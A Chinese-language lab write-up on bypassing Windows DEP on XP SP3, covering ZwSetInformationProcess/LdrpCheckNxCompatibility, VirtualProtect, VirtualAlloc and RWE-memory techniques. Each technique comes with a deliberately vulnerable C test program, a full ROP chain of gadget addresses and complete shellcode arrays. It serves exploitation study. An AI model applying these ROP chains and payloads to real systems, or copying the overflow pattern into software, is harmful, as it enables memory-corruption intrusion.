DEP介绍
DEP(Data Execution Prevention)的基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。
所以DEP的主要作用就是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码,根据实现的机制分为软件DEP和硬件DEP。
软件DEP就是SafeSEH,它的目的是阻止利用S.E.H的攻击,所以在SafeSEH的校验过程中会检查异常处理函数是否位于非可执行页。
硬件DEP才是真正意义的DEP,硬件DEP需要CPU的支持。
DEP原理
操作系统通过设置内存页的Nx/xD属性标记,来指明不能从该内存执行代码。当该标识位设置为0里表示这个页面允许执行指令,设置为1时表示不允许。
根据启动参数的不同,DEP工作状态可以分为四种。
-
Option:默认仅将DEP保护应用于Windows系统组件和服务,对其他程序不予保护,这种状态可以被应用动态关闭。多用于普通用户版的操作系统。
-
Optout:为排除列表程序外的所有程序和服务启用DEP,用户可以手动在排除列表中指定不启用DEP保护的程序和服务。这种状态可以被应用动态关闭。多用于服务器版的操作系统。
-
AlwaysOn:对所有进程启用DEP保护,不存在排序列表,这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn。
-
AlwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才会使用,如DEP干扰到进程的正常运行。
DEP的局限
-
硬件DEP需要CPU的支持,但并不是所有CPU都提供DEP的支持。
-
由于兼容性的原因Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如第三方的插件DLL,由于无法确认其是否支持DEP,对涉及这些DLL的程序不敢贸然开启DEP保护。
-
/NxCOMPAT编译选项只对Windows Vista以上的系统有效。
-
在DEP工作在最主要的两个状态Option和Optout下,DEP可以被动态关闭和开启的,这说明操作系统提供某些API函数来控制DEP的状态,而且早期的操作系统对这些API的调用没有任何限制,所有进程都可以调用这些API。
DEP突破
攻击未启用DEP的程序
因为兼容性的问题,不是所有的进程都开启DEP,所以我们可以攻击那些没有启用DEP的程序来达到目的。
利用Ret2Libc挑战DEP
Ret2Libc时Return-to-libc简写,由于DEP不允许我们直接到非可执行页执行指令,我们就需要在其他可执行的位置找到符合我们要求的指令,然后这条指令还需要一个返回指令来收回程序的控制权。相当于就是构造一个ROP(Return-oriented Programming)链。
利用ZwSetInformationProcess
一个进程的DEP设置保存在KPROCESS结构中的_KExECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInfomationProcess和ZwSetInformationProcess进行查询和修改。
_KExECUTE_OPTIONS的结构
这里只有前四个bit与DEP有关,第一个置为1则DEP开启,第二个置1则关闭。所以我们只要将_KExECUTE_OPTIONS的值设为0x02(00000010)就可以关闭DEP。
这个是我们能控制的API
第一个参数为进程的句柄,设置为−1 的时候表示为当前进程
第二个参数为信息类 —– 0x22
第三个参数可以用来设置_KExECUTE_OPTIONS —- 0x2
第四个参数为第三个参数的长度 — 0x4
可以看到这样子的传参有个棘手的0x00
但是微软的兼容性惹祸了,如果一个进程的Permanent位没有设置,当它加载dll,并对其进行DEP兼容性检查,当兼容性存在问题,就会当存在兼容性问题时进程的DEP 就会被关闭。
为此微软设立了LdrpCheckNxCompatibility函数,当符合以下条件之一时进程的DEP 会被关闭:
-
当DLL 受SafeDisc 版权保护系统保护时;
-
当DLL 包含有.aspcak、.pcle、.sforce 等字节时;
-
Windows Vista 下面当DLL 包含在注册表“HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionImage File Execution OptionsDllNxOptions”键下边标识出不需要启动DEP 的模块时。
下面的是Windows xP SP3下LdrpCheckNxCompatibility关闭DEP的流程,以SafeDisc作为例子。
下面以作者给的代码作为例子。
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
实验环境:
根据LdrpCheckNxCompatibility关闭DEP的流程,我们需要把al置为1,所以先用插件
我们用下面选中的这个,顺便还找到了DEP的地址
计算好覆盖的位置,我们创建的是176个字节的数组,所以shellcode+\x90凑够176个字节,接下来就是用上面的置1覆盖,接着放关闭DEP的地址。
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\xC1\x80\x7C"
"\x24\xbe\x93\x7c"
调试
发现我们已经成功的把retn的位置覆盖成我们需要的地址。我们继续往下走,我们可以看到这里的EBP-4已经成功覆盖成0\x2(00000010)了,接下来我们就可以关闭DEP。
但我们发现这里程序返回到了一个我们无法控制的地方。
这让我们无法继续执行shellcode,所以我们需要在关闭DEP之后重新返回到我们能控制的位置。(这里需要提的一点是在原书上作者在这里碰到了写入异常的问题,所以在前面就进行了对栈的调整,但我这里没有遇到这个问题,所以这里前面并没有对栈进行调整,虽然后面还是用到了这一步,但我考虑的和原作者不同。)
我们可以发现在关闭DEP函数的最后有一个leave,这个指令的意思等同于
mov esp,ebp和pop ebp
所以我们可以提前把ebp的值固定在我们需要的位置,并且之后不对ebp有操作,再在retn的位置覆盖为一个jmp那么我们就可以在经过leave之后的retn返回到我们需要的位置。寻找修改ebp的指令还是和上面的一样插件
因为levea还有一个pop ebp,所以我们还是把jmp到esp比较稳妥,jmp esp的指令用这个插件的另一个选项找
我们用这个
我们将shellcode改成这样
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\xC1\x80\x7C"//MOV al,1
"\x95\x8b\x1d\x5d"//ebp
"\x87\xa7\x64\x7d"// jmp esp
"\x24\xbe\x93\x7c"// DEP
调试的时候我们再观察下retn 4之后,也就是重新定位ebp之后栈空间
我们可以发现当前弹出的就是jmp esp,而我们希望的是在关闭DEP之后再运行到这里,如果我们将jmp放在DEP后面,那么retn+4会跳过一个栈位置到下一个栈位置去,那也无法定位到jmp的位置,而现在这个情况,我们只要在jmp之前再加一行对程序没多大影响的代码就行了,这里用了retn 0x28。
寻找的插件,第一个参数设置0,第二个参数设置0x28。
我们将找到的指令放在jmp前面,再运行。
我们成功的把DEP关闭并且跳到了esp,接下来只需要在这个位置布置一个jmp跳到shellcode执行就可以了。我们现在在12FF94,shellcode在12FED0
12FED0-12FF94-5(-5是跳转指令需要的长度)= FFFFFFFF37
"\xe9\x37\xff\xff"// jmp
"\xff\x90\x90\x90"
凑够16个字节。
再运行就可以看到
完整的shellcode
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\xC1\x80\x7C"//MOV al,1
"\x95\x8b\x1d\x5d"//ebp
"\x31\xf7\x80\x7c"//retn 0x28
"\x87\xa7\x64\x7d"// jmp esp
"\x24\xbe\x93\x7c"// DEP
"\xe9\x37\xff\xff"// jmp
"\xff\x90\x90\x90"
;
这个就是整个程序的跳转流程。
利用VirtualProtect
在Optout和AlwaysON模式下所有进程是默认开启DEP,如果一个程序自身偶尔需要从堆栈中取指令,会发生错误。为了解决这个问题微软提供了修改内存属性的VirtualProtect函数,该函数位于kernel32.dll。
这是函数的结构以及各个参数的说明。
我们只要将第一个参数设为shellcode的起始地址,第二个参数比shellcode的大小大就行,第三个参数设为0x40,第四个参数为某个可写地址,这样程序运行VirtualProtect之后就会把shellcode这块区域设置为可执行状态。
代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=;
void test()
{
char tt[176];
strcpy(tt,shellcode);
//memcpy(tt,shellcode,420);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
实验环境:
因为strcpy会截断\x00,所以原书作者试验使用的memcpy。
在od里面找到VirtualProtect函数的方法是加载完程序之后
找到kernel32.dll,然后双击进入,ctrl+g输入VirtualProtect就可以找到了
我可以运行到这里看到这里有个mov ebp,esp然后接着就是几个参数的入栈,所以我们可以在运行到这个函数之前提前到栈布置栈(这里要注意一下,最后VirtualProtect的入口应该从push参数那里进入,而不是从头进入,如果从头进入有一个修改ebp的指令会对前面布置的栈进行破坏)
作者用了这样一个指令,这个指令寻找的方法是通过机器码来找
一个块一个块的找,就可以找到了。这里既然有个jmp eax我们就要提前布置好eax,让它跳到我们想要的位置。
首先是让ebp+0x8里存可读写的位置。
在运行到retn 4后就会到ebp+0x8,所以我们需要再往下走一个位置,那样等push esp就可以把esp压入到ebp+0x8的位置。一个retn就可以达到目的了
这样我们就完成了对ebp+0x8的修改,接下来就是ebp+0x14的位置,我们现在在ebp+0x8的位置,只要往下再走三个位置就可以到ebp+0x14,所以说我们这里jmp eax,就要在eax上放3个连续的pop就可以达到目的
Retn还是返回到push esp的位置。
这样我们就已经完成了VirtualProtect函数四个参数的修改(ebp+0xc和ebp+0x10是直接在溢出布置的)
接下来还是回到eax里的三个pop,所以我们要在后面的第三个位置布置VirtualProtect函数的切入点。
完成修改。
运行完函数eax变成1,证明我们在12FF98+0xFF这个位置里就突破了DEP保护,接下来就是如何运行shellcode的问题了。
在这里布置一个jmp esp的指令(通过插件找的一些jmp esp指令可能会有访问异常的,那就换一个找),让它跳到高栈的shellcode执行,因为有一个retn 10所以中间还需要填充20个\x90(0x10+4=20)。然后就可以跳转到shellcode位置执行。
完整的shellcode。
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8d\x99\x80\x7c" //pop eax retn
"\x29\x4b\x75\x7d" //pop pop pop
"\xe5\x0b\x76\x7d" //修正ebp
"\xa7\xb3\x5c\x7d" //retn
"\x90\x90\x90\x90"
"\x5c\xdc\xeb\x77" //push esp,jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\x5c\xdc\xeb\x77" //push esp,jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7c" //funcation
"\x90\x90\x90\x90"
"\xd8\xfc\x93\x7c" //jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
整体的rop
利用VirtualAlloc
当程序需要一段可执行内存时,可以通过kernel32.dll中的VirtualAlloc函数来申请一段具有可执行属性的内存。 所以我们可以先用VirtualAlloc申请一段内存然后将shellcode复制到这段内存里面,以绕过DEP的限制。 函数说明:
LPVOID VirtualAlloc(
LPVOID lpAddress, // 申请内存区域的地址,如果这个参数时NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
SIZE_T dwSize, // 申请内存区域的大小
DWORD flAllocationType, // 申请内存的类型
DWORD flProtect // 申请内存区域的访问控制类型,如读、写、执行等权限
);
作者给的代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]="";
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
实验环境:
VirtualAlloc函数的具体实现流程 整体的应该和前面的VirtualProtect差不多,都是对几个调用的参数进行布置,而且VirtualAlloc中的参数不存在动态确定的问题,所以可以直接布置在shellcode
作者给出的参数是这样的,具体可以在MSDN里面查看
和前面一样的方法找到函数所在的位置,在call的地方作为切入点
**这里需要注意的是,函数push的ebp+0xxx的位置是定的,但esp栈顶指针是不一定的,之所以要push定值是防止esp乱动,也就是说,只要我们在call的时候让esp指向所调用的函数的第一个参数,然后后面接下去就可以了,并不一定要把参数布置在那几个push的位置(前面几题也都是这样的情况)所以一般我们布置完栈之后只要从call切入就行,除非是esp无法收回就提前布置好参数,再用push压栈进行调用**
首先还是老套路,先修复下ebp(不修复的话ebp位置差的有点远) 修复完之后看下栈就可以开始布置shellcode了
已经完成了布置栈,接下来的问题就是我们该如何拿回程序的控制权,还是先修复栈
前面注意retn 10
接下来我们的目的就是调用memcpy把我们的shellcode复制到前面申请的内存中去。 来看一下memcpy函数。ctrl+g直接找memcpy,可以看到memcpy三个函数所在的位置,这里是需要提前在ebp+xx的位置提前布置好。
这里我和作者的不一样,我把弹窗的shellcode另外建了个数组,找到它的位置,然后直接从这个地址开始复制
复制完之后我们可以在已经开辟的空间里面有shellcode 同时eax的值正好是前面的返回地址,所以直接调用call/jmp eax就可以了。
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xe5\x0b\x76\x7d" //ebp
"\x04\x9b\x80\x7c" //VirtualAlloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00" //1
"\xff\x00\x00\x00" //2
"\x00\x10\x00\x00" //3
"\x40\x00\x00\x00" //4
"\x90\x90\x90\x90"
"\xe5\x0b\x76\x7d"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x70\x6f\xc1\x77" //memcpy
"\x90\x90\x90\x90"
"\xc3\x82\x99\x7c" //call eax
"\x00\x00\x03\x00"
"\x20\x31\x40\x00" //不同编译器导致shellcode数组的起始位置不一样
"\xa8\x00\x00\x00"
;
char shellcode2[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
利用可执行内存
在某些时候内存里会有一段可读可写可执行(RWE)的一段内存,虽然比较难得。 如果我们把shellcode用memcpy复制到这段内存里面就可以直接执行了,大体的操作和上面那题差不多,就不再演示了。 作者的代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8a\x17\x84\x7c"//pop eax retn
"\x0b\x1a\xbf\x7c"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\x5f\x78\xa6\x7c"//pop retn
"\x08\x00\x14\x00"//可执行内存中起始地址
"\x00\x00\x14\x00"//可执行内存空间地址,复制用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
} 实验环境: ![](http://ww1.sinaimg.cn/large/7fb67c86gy1g1kzmhbgqgj20l6063wg8.jpg)
shellcode布局: